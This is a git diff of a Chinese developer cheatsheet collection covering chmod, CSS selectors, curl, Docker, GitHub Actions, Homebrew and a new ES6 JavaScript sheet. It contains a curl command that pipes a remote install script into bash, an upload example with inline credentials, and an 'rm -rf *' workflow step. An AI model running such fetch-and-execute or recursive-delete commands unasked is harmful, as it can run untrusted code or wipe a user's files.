- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_

View File

@ -34,11 +34,9 @@ NAME = "John" # => Error (关于空间)
### 注释
```bash
# 这是一个内联 Bash 注释。
```
```shell
# 这是一个内联 Bash 注释。
: '
这是一个
非常整洁的评论

View File

@ -31,10 +31,21 @@ $ chmod -R 755 my_directory
### Chmod 生成器
```html
```html preview
<div>
权限:<input type="text" id="num" placeholder="777" maxlength="3" style="padding: 0.3rem 0.3rem;" /> <input type="text" id="let" placeholder="rwxrwxrwx" maxlength="9" style="padding: 0.3rem 0.3rem;" />
</div>
```
---
&nbsp; | User | Group | Other
:- | :- | :- | :-
读 _(Read)_ | <input checked id="1" type="checkbox"></input> | <input checked id="4" type="checkbox"></input> | <input checked id="7" type="checkbox"></input>
写 _(Write)_ | <input checked id="2" type="checkbox"></input> | <input checked id="5" type="checkbox"></input> | <input checked id="8" type="checkbox"></input>
执行 _(Execute)_ | <input checked id="3" type="checkbox"></input> | <input checked id="6" type="checkbox"></input> | <input checked id="9" type="checkbox"></input>
<!--rehype:className=show-header-->
Chmod 生成器允许您以数字和符号的形式快速、直观地生成权限。
### 通用权限
@ -263,4 +274,234 @@ $ find /path -type f -exec chmod 644 {} \;
另见
----
* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
<!--rehype:ignore:start-->
以下是 Chmod 生成器 JS 代码(代码用于网站请忽略不要删除)
---
<!--rehype:ignore:end-->
```html preview
<!-- Chmod 生成器 JS 代码 -->
<script type="text/javascript">
const reg_num = /^[0-7]{3}$/; // 一些正则表达式来检查 num 输入
const reg_let = /^([r\-]{1}[w\-]{1}[x\-]{1}){3}$/; // 一些正则表达式来检查文本输入
function checkBoxHandle() {
change_occured(true, false, false);
// get rid of bad input classes
document.getElementById('num').classList.remove('bad-input');
document.getElementById('let').classList.remove('bad-input');
}
window.addEventListener("DOMContentLoaded", function () {
// loop over all the check boxes
for (let i = 1; i < 10; i++) {
let checkBox = document.getElementById(`${i}`);
checkBox.addEventListener('change', function () {
change_occured(true, false, false);
// get rid of bad input classes
document.getElementById('num').classList.remove('bad-input');
document.getElementById('let').classList.remove('bad-input');
});
}
// the octal input
let num_input = document.getElementById('num');
let num_fn = function () {
// check for bad input
if (!reg_num.test(this.value)) {
this.classList.add('bad-input');
} else {
this.classList.remove('bad-input');
change_occured(false, true, false);
}
};
num_input.addEventListener('change', num_fn);
num_input.addEventListener('keyup', num_fn);
// the let input
let let_input = document.getElementById('let');
let let_fn = function () {
// check for bad input
if (!reg_let.test(this.value)) {
this.classList.add('bad-input');
} else {
this.classList.remove('bad-input');
change_occured(false, false, true);
}
};
let_input.addEventListener('change',let_fn);
let_input.addEventListener('keyup',let_fn);
});
/* SETUP
r-4-1 r-4-4 r-4-7
w-2-2 w-2-5 w-2-8
x-1-3 x-1-6 x-1-9
*/
// define a function that runs when a change occures
function change_occured(caller_was_check, caller_was_num, caller_was_let) {
let num1 = 0, num2 = 0, num3 = 0; // these are the three numbers for the octal
let perm_string = ''; // holds the permision string ex. rw-x--r--
if (caller_was_check) {
// loop over all the check boxes and get the permisions
for (let i = 1; i < 10; i++) {
let checkBox = document.getElementById(`${i}`);
if (checkBox.checked) { // if checked
let current_perm = check_to_octal_and_text(i);
perm_string += `${current_perm.perm_let}`;
if (i <= 3) {
num1 += current_perm.perm_num;
} else if (i <= 6) {
num2 += current_perm.perm_num;
} else {
num3 += current_perm.perm_num;
}
} else { // if not checked
perm_string += '-';
}
}
// set the permision input text
document.getElementById('let').value = perm_string;
document.getElementById('num').value = `${num1}${num2}${num3}`;
} else if (caller_was_num) {
// get the individual numbers
let num_input_val = document.getElementById('num').value;
num1 = num_input_val.substring(0, 1);
num2 = num_input_val.substring(1, 2);
num3 = num_input_val.substring(2, 3);
// set the checkboxes and get the perm string
perm_string += octal_to_check_and_txt(num1, 0); //Owner
perm_string += octal_to_check_and_txt(num2, 1); //Owner
perm_string += octal_to_check_and_txt(num3, 2); //Owner
// set the permision input text
document.getElementById('let').value = perm_string;
} else if (caller_was_let) {
// get the text input
let perm_text = document.getElementById('let').value;
num1 = text_to_check_and_octal(perm_text.substring(0, 3), 0)
num2 = text_to_check_and_octal(perm_text.substring(3, 6), 3)
num3 = text_to_check_and_octal(perm_text.substring(6, 9), 6)
// set the octal value
document.getElementById('num').value = `${num1}${num2}${num3}`;
}
}
// define a function to converts the checkbox # to the respective permissions
// returns perm_num, perm_let
function check_to_octal_and_text(check_num) {
let perm_num = 0;
let perm_let = '-';
switch (check_num) {
case 1:
case 4:
case 7:
perm_num = 4;
perm_let = 'r';
break;
case 2:
case 5:
case 8:
perm_num = 2;
perm_let = 'w';
break;
case 3:
case 6:
case 9:
perm_num = 1;
perm_let = 'x';
break;
default:
perm_num = 0;
perm_let = '-';
}
// return values
return {
perm_num,
perm_let
};
}
/**
Takes a number 1-7 and which class it is in:
0 = owner
1 = Group
2 = Public
Returns: perm text (ex. "rwx") and sets the appropriate checkboxes
*/
function octal_to_check_and_txt(octal_num, class_num) {
let perm_text = '';
let offset = class_num * 3;
switch (octal_num) {
case '1':
document.getElementById(`${1 + offset}`).checked = false;
document.getElementById(`${2 + offset}`).checked = false;
document.getElementById(`${3 + offset}`).checked = true;
perm_text = '--x';
break;
case '2':
document.getElementById(`${1 + offset}`).checked = false;
document.getElementById(`${2 + offset}`).checked = true;
document.getElementById(`${3 + offset}`).checked = false;
perm_text = '-w-';
break;
case '3':
document.getElementById(`${1 + offset}`).checked = false;
document.getElementById(`${2 + offset}`).checked = true;
document.getElementById(`${3 + offset}`).checked = true;
perm_text = '-wx';
break;
case '4':
document.getElementById(`${1 + offset}`).checked = true;
document.getElementById(`${2 + offset}`).checked = false;
document.getElementById(`${3 + offset}`).checked = false;
perm_text = 'r--';
break;
case '5':
document.getElementById(`${1 + offset}`).checked = true;
document.getElementById(`${2 + offset}`).checked = false;
document.getElementById(`${3 + offset}`).checked = true;
perm_text = 'r-x';
break;
case '6':
document.getElementById(`${1 + offset}`).checked = true;
document.getElementById(`${2 + offset}`).checked = true;
document.getElementById(`${3 + offset}`).checked = false;
perm_text = 'rw-';
break;
case '7':
document.getElementById(`${1 + offset}`).checked = true;
document.getElementById(`${2 + offset}`).checked = true;
document.getElementById(`${3 + offset}`).checked = true;
perm_text = 'rwx';
break;
default:
document.getElementById(`${1 + offset}`).checked = false;
document.getElementById(`${2 + offset}`).checked = false;
document.getElementById(`${3 + offset}`).checked = false;
perm_text = '---';
}
return perm_text;
}
/**
Takes 3 letters (r, w, x, - ex. 'rw-') and an offset (0,3,6)
Returns the octal num and sets the appropriate checkboxes
*/
function text_to_check_and_octal(letters, offset) {
let perm_num = 0; // the octal number to return
// add up the oct num and set the check boxes
for (let i = 0; i < 3; i++) {
current_let = letters.substring(i, i + 1);
if (current_let == 'r') {
document.getElementById(`${i + 1 + offset}`).checked = true;
perm_num += 4;
} else if (current_let == 'w') {
document.getElementById(`${i + 1 + offset}`).checked = true;
perm_num += 2;
} else if (current_let == 'x') {
document.getElementById(`${i + 1 + offset}`).checked = true;
perm_num += 1;
} else {
document.getElementById(`${i + 1 + offset}`).checked = false;
}
}
return perm_num;
}
</script>
```

View File

@ -95,7 +95,7 @@ Min Hour Day Mon Weekday
`L` | 仅允许用于 `月份中的某天``星期几` 字段,`星期几` 中的 `2L` 表示每个月的最后一个星期二
`井号 (#)` | 仅允许用于 `星期几` 字段,后面必须在 1 到 5 的范围内。例如,`4#1` 表示给定月份的“第一个星期四”。
`问号(?)` | 可以代替“*”并允许用于月份和星期几。使用仅限于 cron 表达式中的 `月份中的某天``星期几`
<!--rehype:className=show-header -->
<!--rehype:className=show-header auto-wrap-->
## Also see

View File

@ -262,14 +262,14 @@ p:first-child {
选择器 | 说明
:- | :-
`a[target]` | 带有 <yel>target</yel> 属性
`a[target="_blank"]` | 在新标签中打开
`a[href^="/index"]` | 以 <yel>/index</yel> 开头
`[class\|="chair"]` | 以<yel>chair</yel>开头
`[class*="chair"]` | 包含<yel>chair</yel>
`[title~="chair"]` | 包含单词 <yel>chair</yel>
`a[href$=".doc"]` | 以 <yel>.doc</yel> 结尾
`[type="button"]` | 指定类型
`a[target]` | 带有 <yel>target</yel> 属性 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attr)
`a[target="_blank"]` | 在新标签中打开 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue)
`a[href^="/index"]` | 以 <yel>/index</yel> 开头 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_4)
`[class\|="chair"]` | 以<yel>chair</yel>开头 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_3)
`[class*="chair"]` | 包含<yel>chair</yel> [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_6)
`[title~="chair"]` | 包含单词 <yel>chair</yel> [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_2)
`a[href$=".doc"]` | 以 <yel>.doc</yel> 结尾 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_5)
`[type="button"]` | 指定类型 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue)
另见: [属性选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors)
@ -282,6 +282,19 @@ p:first-child {
`a:hover ` | 鼠标悬停链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:hover)
`a:visited ` | 访问链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:visited)
---
```css
/* 未访问链接 */
a:link { color: blue; }
/* 已访问链接 */
a:visited { color: purple; }
/* 用户鼠标悬停 */
a:hover { background: yellow; }
/* 激活链接 */
a:active { color: red; }
```
### 伪类
选择器 | 说明
@ -297,6 +310,10 @@ p:first-child {
`div:empty` | 没有子元素的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:empty)
`p:lang(en)` | 带有 en 语言属性的 P [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:lang)
`:not(span)` | 不是跨度的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:not)
`:host` | shadowDOM 中选择自定义元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:root)
`::backdrop` | 处于全屏模式的元素样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::backdrop)
`::marker` | `li` 项目符号或者数字 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::marker)
`::file-selector-button` | type="file" `input` 按钮 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::file-selector-button)
### 输入伪类
@ -305,6 +322,8 @@ p:first-child {
`input:checked` | 检查 `input` [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:checked)
`input:disabled` | 禁用 `input` [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:disabled)
`input:enabled` | 启用的 `input` [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:enabled)
`input:default` | 有默认值的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:default)
`input:blank` | 空的输入框 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:blank)
`input:focus` | `input` 有焦点 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:focus)
`input:in-range` | 范围内的值 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:in-range)
`input:out-of-range` | `input` 值超出范围 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:out-of-range)
@ -331,6 +350,11 @@ p:first-child {
`p:nth-last-of-type(2)` | ...从后面 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:nth-last-of-type)
`p:only-of-type` | 其父级的唯一性 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:only-of-type)
`p:only-child` | 其父母的唯一孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:only-child)
`:is(header, div) p` | 可以选择的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:is)
`:where(header, div) p` | 与 `:is` 相同 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:where)
`a:has(> img)` | 包含 `img` 元素的 `a` 元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has)
`::first-letter` | 第一行的第一个字母 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-letter)
`::first-line` | 第一行应用样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-line)
CSS 字体
------

View File

@ -110,7 +110,7 @@ apk add --update curl # alpine linux 中安装
`curl --connect-timeout 10 -I -k https://www.baidu.com` | `curl` 默认没有超时
`curl --verbose --header "Host: www.mytest.com:8182" www.baidu.com` | `curl` 得到额外的标题
`curl -k -v https://www.google.com` | `curl` 获取带有标题的响应
<!--rehype:class=auto-wrap-->
### 多文件上传
<!--rehype:wrap-class=col-span-2-->
@ -136,6 +136,7 @@ $ curl -XGET http://${elasticsearch_ip}:9200/_cluster/nodes | python -m json.too
:- | :-
`curl -d "name=username&password=123456" <URL>` | `curl` 发请求
`curl <URL> -H "content-type: application/json" -d "{ \"woof\": \"bark\"}"` | `curl` 发送 json
<!--rehype:class=auto-wrap-->
### CURL 脚本安装 rvm
<!--rehype:wrap-class=col-span-2-->
@ -156,6 +157,7 @@ curl -sSL https://get.rvm.io | bash
`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` 上传
`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` 下载
`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | 使用凭证 `curl` 上传
<!--rehype:class=auto-wrap-->
### 检查网站响应时间
<!--rehype:wrap-class=col-span-4-->

View File

@ -110,6 +110,7 @@ RUN true | false # 将脱离管道
`CMD ["executable","param1","param2"]` | (exec 形式,这是首选形式)
`CMD ["param1","param2"]` | (作为 ENTRYPOINT 的默认参数)
`CMD command param1 param2` | (shell形式)
<!--rehype:class=auto-wrap-->
```dockerfile
EXPOSE 5900
@ -185,6 +186,7 @@ temp?
`*/temp*` | 在根的任何直接子目录中<br />排除名称以 `temp` 开头的文件和目录
`*/*/temp*` | 从根以下两级的任何子目录中<br />排除以 `temp` 开头的文件和目录
`temp?` | 排除根目录中名称为<br /> `temp` 的单字符扩展名的文件和目录
<!--rehype:class=auto-wrap-->
如果此文件存在,排除与其中的模式匹配的文件和目录,有利于避免 `ADD``COPY` 将敏感文件添加到镜像中。匹配是使用 Go 的 [filepath.Match](https://golang.org/pkg/path/filepath#Match) 规则完成的。
@ -203,6 +205,7 @@ temp?
`CMD command param1 param2` | 设置默认命令
`ENV <key>=<value> ...` | 设置环境变量
`EXPOSE <port> [<port>/<protocol>...]` | 运行时侦听指定的网络端口
<!--rehype:class=auto-wrap-->
### 服务静态网站的最小 Docker 镜像
<!--rehype:wrap-class=col-span-2-->

727
docs/es6.md Normal file
View File

@ -0,0 +1,727 @@
ES2015+ 备忘清单
===
快速浏览 ES2015、ES2016、ES2017、ES2018 及以后的 JavaScript 新特性
常用
---
### 块范围
<!--rehype:wrap-class=row-span-2-->
#### Let
```js {2,4}
function fn () {
let x = 0
if (true) {
let x = 1 // 只在这个`if`里面
}
}
```
#### Const
```js
const a = 1
```
`let` 是新的 `var`。 常量(`const`) 就像 `let` 一样工作,但不能重新分配。
请参阅:[Let 和 const](https://babeljs.io/learn-es2015/#let--const)
### 反引号字符串
<!--rehype:wrap-class=row-span-2-->
#### 插值
```js
const message = `Hello ${name}`
```
#### 多行字符串
```js
const str = `
hello
world
`
```
模板和多行字符串。
请参阅:[模板字符串](https://babeljs.io/learn-es2015/#template-strings)
### 二进制和八进制文字
```js
let bin = 0b1010010
let oct = 0o755
```
请参阅:[二进制和八进制文字](https://babeljs.io/learn-es2015/#binary-and-octal-literals)
### 指数运算符
```js {1}
const byte = 2 ** 8
// 同: Math.pow(2, 8)
```
### 新方法
#### 新的字符串方法
```js
"hello".repeat(3)
"hello".includes("ll")
"hello".startsWith("he")
"hello".padStart(8) // " hello"
"hello".padEnd(8) // "hello "
"hello".padEnd(8, '!') // hello!!!
"\u1E9B\u0323".normalize("NFC")
```
#### 新的数字方法
```js
Number.EPSILON
Number.isInteger(Infinity) // false
Number.isNaN("NaN") // false
```
#### 新的 Math 方法
```js
Math.acosh(3) // 1.762747174039086
Math.hypot(3, 4) // 5
Math.imul(Math.pow(2, 32) - 1, Math.pow(2, 32) - 2) // 2
```
#### 新的 Array 方法
```js
// 返回一个真实的数组
Array.from(document.querySelectorAll("*"))
// 类似于 new Array(...),但没有特殊的单参数行为
Array.of(1, 2, 3)
```
请参阅: [新方法](https://babeljs.io/learn-es2015/#math--number--string--object-apis)
### 类
```js
class Circle extends Shape {
```
#### 构造函数
```js {1}
constructor (radius) {
this.radius = radius
}
```
#### 方法
```js {1}
getArea () {
return Math.PI * 2 * this.radius
}
```
#### 调用超类方法
```js {2}
expand (n) {
return super.expand(n) * Math.PI
}
```
#### 静态方法
```js {1}
static createFromDiameter(diameter) {
return new Circle(diameter / 2)
}
}
```
原型的语法糖。
请参阅: [类](https://babeljs.io/learn-es2015/#classes)
Promises
--------
### 做出承诺
```js {1}
new Promise((resolve, reject) => {
if (ok) { resolve(result) }
else { reject(error) }
})
```
用于异步编程。
请参阅:[Promises](https://babeljs.io/learn-es2015/#promises)
### 使用 Promises
```js {2,3}
promise
.then((result) => { ··· })
.catch((error) => { ··· })
```
### 在 finally 中使用 Promise
```js {4}
promise
.then((result) => { ··· })
.catch((error) => { ··· })
.finally(() => {
/* 独立于成功/错误的逻辑 */
})
```
当承诺被履行或被拒绝时,处理程序被调用
### Promise 函数
```js
Promise.all(···)
Promise.race(···)
Promise.reject(···)
Promise.resolve(···)
```
### Async-await
```js {2,3}
async function run () {
const user = await getUser()
const tweets = await getTweets(user)
return [user, tweets]
}
```
`async` 函数是使用函数的另一种方式。
请参阅:[异步函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)
解构 Destructuring
-------------
### 解构赋值
#### Arrays
```js {1}
const [first, last] = ['Nikola', 'Tesla']
```
#### Objects
```js {1}
let {title, author} = {
title: 'The Silkworm',
author: 'R. Galbraith'
}
```
支持匹配数组和对象。
请参阅:[解构](https://babeljs.io/learn-es2015/#destructuring)
### 默认值
```js
const scores = [22, 33]
const [math = 50, sci = 50, arts = 50] = scores
```
----
```js
// Result:
// math === 22, sci === 33, arts === 50
```
可以在解构数组或对象时分配默认值
### 函数参数
```js {1}
function greet({ name, greeting }) {
console.log(`${greeting}, ${name}!`)
}
```
----
```js
greet({ name: 'Larry', greeting: 'Ahoy' })
```
对象和数组的解构也可以在函数参数中完成
### 默认值
```js {1}
function greet({ name = 'Rauno' } = {}) {
console.log(`Hi ${name}!`);
}
```
----
```js
greet() // Hi Rauno!
greet({ name: 'Larry' }) // Hi Larry!
```
### 重新分配键
```js {1}
function printCoordinates({ left: x, top: y }) {
console.log(`x: ${x}, y: ${y}`)
}
```
----
```js
printCoordinates({ left: 25, top: 90 })
```
此示例将 `x` 分配给 `left` 键的值
### 循环
```js {1}
for (let {title, artist} of songs) {
···
}
```
赋值表达式也在循环中工作
### 对象解构
```js {1}
const { id, ...detail } = song;
```
使用 `rest(...)` 运算符单独提取一些键和对象中的剩余键
扩展运算符 Spread
------
### 对象扩展
#### 与对象扩展
```js {2}
const options = {
...defaults,
visible: true
}
```
#### 没有对象扩展
```js
const options = Object.assign(
{}, defaults,
{ visible: true })
```
对象扩展运算符允许您从其他对象构建新对象。
请参阅:[对象传播](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
### 数组扩展
#### 具有数组扩展
```js {2,3}
const users = [
...admins,
...editors,
'rstacruz'
]
```
#### 没有数组扩展
```js
const users = admins
.concat(editors)
.concat([ 'rstacruz' ])
```
扩展运算符允许您以相同的方式构建新数组。
请参阅:[扩展运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
函数 Functions
---------
### 函数参数
<!--rehype:wrap-class=row-span-3-->
#### 默认参数
```js {1}
function greet (name = 'Jerry') {
return `Hello ${name}`
}
```
#### Rest 参数
```js {1}
function fn(x, ...y) {
// y 是一个数组
return x * y.length
}
```
#### 扩展
```js {1}
fn(...[1, 2, 3])
// 与 fn(1, 2, 3) 相同
```
Default(默认), rest, spread(扩展)。
请参阅:[函数参数](https://babeljs.io/learn-es2015/#default--rest--spread)
### 箭头函数
<!--rehype:wrap-class=row-span-3-->
#### 箭头函数
```js {1}
setTimeout(() => {
···
})
```
#### 带参数
```js {1}
readFile('text.txt', (err, data) => {
...
})
```
#### 隐式返回
```js {1,4,5,6}
arr.map(n => n*2)
// 没有花括号 = 隐式返回
// 同: arr.map(function (n) { return n*2 })
arr.map(n => ({
result: n*2
}))
// 隐式返回对象需要在对象周围加上括号
```
类似函数,但保留了 `this`。
请参阅:[箭头函数](https://babeljs.io/learn-es2015/#arrows-and-lexical-this)
### 参数设置默认值
```js
function log(x, y = 'World') {
console.log(x, y);
}
log('Hello') // Hello World
log('Hello', 'China') // Hello China
log('Hello', '') // Hello
```
### 与解构赋值默认值结合使用
```js
function foo({x, y = 5} = {}) {
console.log(x, y);
}
foo() // undefined 5
```
### name 属性
```js
function foo() {}
foo.name // "foo"
```
Objects
-------
### 速记语法
```js
module.exports = { hello, bye }
```
同下:
```js
module.exports = {
hello: hello, bye: bye
}
```
请参阅:[对象字面量增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
### 方法
```js {2}
const App = {
start () {
console.log('running')
}
}
// 同: App = { start: function () {···} }
```
请参阅:[对象文字增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
### Getters and setters
```js {2,5}
const App = {
get closed () {
return this.status === 'closed'
},
set closed (value) {
this.status = value ? 'closed' : 'open'
}
}
```
请参阅:[对象字面量增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
### 计算属性名称
```js {3}
let event = 'click'
let handlers = {
[`on${event}`]: true
}
// 同: handlers = { 'onclick': true }
```
请参阅:[对象字面量增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
### 提取值
```js {3,5}
const fatherJS = { age: 57, name: "张三" }
Object.values(fatherJS)
// [57, "张三"]
Object.entries(fatherJS)
// [["age", 57], ["name", "张三"]]
```
Modules 模块
-------
### Imports 导入
```js
import 'helpers'
// 又名: require('···')
```
---
```js
import Express from 'express'
// 又名: const Express = require('···').default || require('···')
```
---
```js
import { indent } from 'helpers'
// 又名: const indent = require('···').indent
```
---
```js
import * as Helpers from 'helpers'
// 又名: const Helpers = require('···')
```
---
```js
import { indentSpaces as indent } from 'helpers'
// 又名: const indent = require('···').indentSpaces
```
`import` 是新的 `require()`。
请参阅:[Module imports](https://babeljs.io/learn-es2015/#modules)
### Exports 导出
```js
export default function () { ··· }
// 又名: module.exports.default = ···
```
----
```js
export function mymethod () { ··· }
// 又名: module.exports.mymethod = ···
```
----
```js
export const pi = 3.14159
// 又名: module.exports.pi = ···
```
----
```js
const firstName = 'Michael';
const lastName = 'Jackson';
const year = 1958;
export { firstName, lastName, year };
```
----
```js
export * from "lib/math";
```
`export` 是新的`module.exports`。
请参阅:[Module exports](https://babeljs.io/learn-es2015/#modules)
### `as` 关键字重命名
```js {2,8,12-14}
import {
lastName as surname // 导入重命名
} from './profile.js';
function v1() { ... }
function v2() { ... }
export { v1 as default };
// 等同于 export default v1;
export {
v1 as streamV1, // 导出重命名
v2 as streamV2, // 导出重命名
v2 as streamLatestVersion // 导出重命名
};
```
### 动态加载模块
```js
button.addEventListener('click', event => {
import('./dialogBox.js')
.then(dialogBox => {
dialogBox.open();
})
.catch(error => {
/* Error handling */
})
});
```
[ES2020提案](https://github.com/tc39/proposal-dynamic-import) 引入 `import()` 函数
### import() 允许模块路径动态生成
```js
const main = document.querySelector('main')
import(`./modules/${someVariable}.js`)
.then(module => {
module.loadPageInto(main);
})
.catch(err => {
main.textContent = err.message;
});
```
### import.meta
[ES2020](https://github.com/tc39/proposal-import-meta) 为 `import` 命令添加了一个元属性 `import.meta`,返回当前模块的元信息
```js
new URL('data.txt', import.meta.url)
```
Node.js 环境中,`import.meta.url`返回的总是本地路径,即 `file:URL` 协议的字符串,比如 `file:///home/user/foo.js`
Generators
----------
### Generator 函数
```js
function* idMaker () {
let id = 0
while (true) { yield id++ }
}
```
---
```js
let gen = idMaker()
gen.next().value // → 0
gen.next().value // → 1
gen.next().value // → 2
```
情况很复杂。
请参阅:[Generators](https://babeljs.io/learn-es2015/#generators)
### For..of + 迭代器(iterator)
<!--rehype:wrap-class=row-span-2-->
```js
let fibonacci = {
[Symbol.iterator]() {
let pre = 0, cur = 1;
return {
next() {
[pre, cur] = [cur, pre + cur];
return { done: false, value: cur }
}
}
}
}
for (var n of fibonacci) {
// 在 1000 处截断序列
if (n > 1000) break;
console.log(n);
}
```
用于迭代生成器和数组。
请参阅:[For..of iteration](https://babeljs.io/learn-es2015/#iterators--forof)
### 与 Iterator 接口的关系
```js
var gen = {};
gen[Symbol.iterator] = function* () {
yield 1;
yield 2;
yield 3;
};
[...gen] // => [1, 2, 3]
```
`Generator` 函数赋值给 `Symbol.iterator` 属性,从而使得 `gen` 对象具有了 `Iterator` 接口,可以被 `...` 运算符遍历了
### Symbol.iterator 属性
```js
function* gen() { /* some code */ }
var g = gen();
g[Symbol.iterator]() === g // true
```
`gen` 是一个 `Generator` 函数,调用它会生成一个遍历器对象`g`。它的 `Symbol.iterator` 属性,也是一个遍历器对象生成函数,执行后返回它自己
另见
---
- [Learn ES2015](https://babeljs.io/docs/en/learn/) _(babeljs.io)_
- [ECMAScript 6 功能概述](https://github.com/lukehoban/es6features#readme) _(github.com)_
- [ECMAScript 6 入门教程 (阮一峰)](https://es6.ruanyifeng.com/) _(ruanyifeng.com)_

View File

@ -1,7 +1,7 @@
Git 备忘清单
===
本备忘单总结了常用的 Git 命令行指令,以供快速参考。
本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令,以供快速参考。
入门
----

View File

@ -340,7 +340,7 @@ env:
myHexNumber: ${{ 0xff }}
myExponentialNumber: ${{ -2.99e-2 }}
myString: Mona the Octocat
myStringInBraces: ${{ 'It''s open source!' }}
myStringInBraces: ${{ 'It''s source!' }}
```
### 函数 contains
@ -375,6 +375,7 @@ startsWith('Hello world', 'He') // 返回 true
format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
// 返回 '{Hello Mona the Octocat!}'.
```
<!--rehype:className=wrap-text -->
另见: [函数 format](https://docs.github.com/cn/actions/learn-github-actions/expressions#format)
@ -767,6 +768,72 @@ jobs:
name: output-log-file
```
### 指定运行命令的工作目录
```yml {3}
- name: Clean temp directory
run: rm -rf *
working-directory: ./temp
```
使用 `working-directory` 关键字,您可以指定运行命令的工作目录(`./temp`)
#### defaults.run
```yml {4,5,7}
jobs:
job1:
runs-on: ubuntu-latest
defaults:
run:
shell: bash
working-directory: scripts
```
作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`
### jobs.<job_id>.steps[*].shell
使用 `bash` 运行脚本
```yml {4}
steps:
- name: Display the path
run: echo $PATH
shell: bash
```
运行 `python` 脚本
```yml {6}
steps:
- name: Display the path
run: |
import os
print(os.environ['PATH'])
shell: python
```
您可以使用 `shell` 关键字覆盖运行器操作系统中的默认 `shell` 设置
### 一些 actions 推荐
<!--rehype:wrap-class=row-span-2-->
:- | :-
:- | :-
[`create-tag-action`](https://github.com/jaywcjlove/create-tag-action) | 根据 package.json 创建 `Tag` / `Release`
[`changelog-generator`](https://github.com/jaywcjlove/changelog-generator) | 生成 `changelog` 日志
[`github-action-modify-file-content`](https://github.com/jaywcjlove/github-action-modify-file-content) | 修改仓库文件内容
[`github-action-contributors`](https://github.com/jaywcjlove/github-action-contributors) | 生成贡献(contributors.svg)图片
[`generated-badges`](https://github.com/jaywcjlove/generated-badges) | 生成徽章(Badges)图片
[`coverage-badges-cli`](https://github.com/jaywcjlove/coverage-badges-cli) | 生成覆盖率徽章(Badges)图片
[`action-ejs`](https://github.com/jaywcjlove/action-ejs) | 基于 ejs 生成 HTML
[`github-action-package`](https://github.com/jaywcjlove/github-action-package) | 修改 JSON 文件内容
[`markdown-to-html-cli`](https://github.com/jaywcjlove/markdown-to-html-cli) | Markdown 转换成 HTML
[`ncipollo/release-action`](https://github.com/ncipollo/release-action) | 创建 `Release`
[`peaceiris/actions-gh-pages`](https://github.com/peaceiris/actions-gh-pages) | 将文件或文件夹内容提交到 `gh-pages` 分支
<!--rehype:className=style-list-->
另见
---

View File

@ -38,6 +38,7 @@ export HOMEBREW_INSTALL_FROM_API=1
命令 | 说明
:--- :---
`brew install git` | `安装`一个包
`brew reinstall git` | 重新`安装`一个包
`brew uninstall git` | `删除`/`卸载`软件包
`brew upgrade git` | 升级包
:--- :---
@ -46,9 +47,6 @@ export HOMEBREW_INSTALL_FROM_API=1
`brew switch git 2.5.0` | 更改版本
:--- :---
`brew list --versions git` | 看看你有什么版本
:--- :---
`brew help` | 打印帮助信息
`brew help <sub-command>` | 打印子命令的帮助信息
### 更多包命令
@ -119,6 +117,13 @@ $ brew search <text>
$ brew info <formula>
```
### 帮助命令
命令 | 说明
:--- :---
`brew help` | 打印帮助信息
`brew help <sub-command>` | 打印子命令的帮助信息
另见
---

View File

@ -8,11 +8,11 @@ HTTP 状态码
### Means
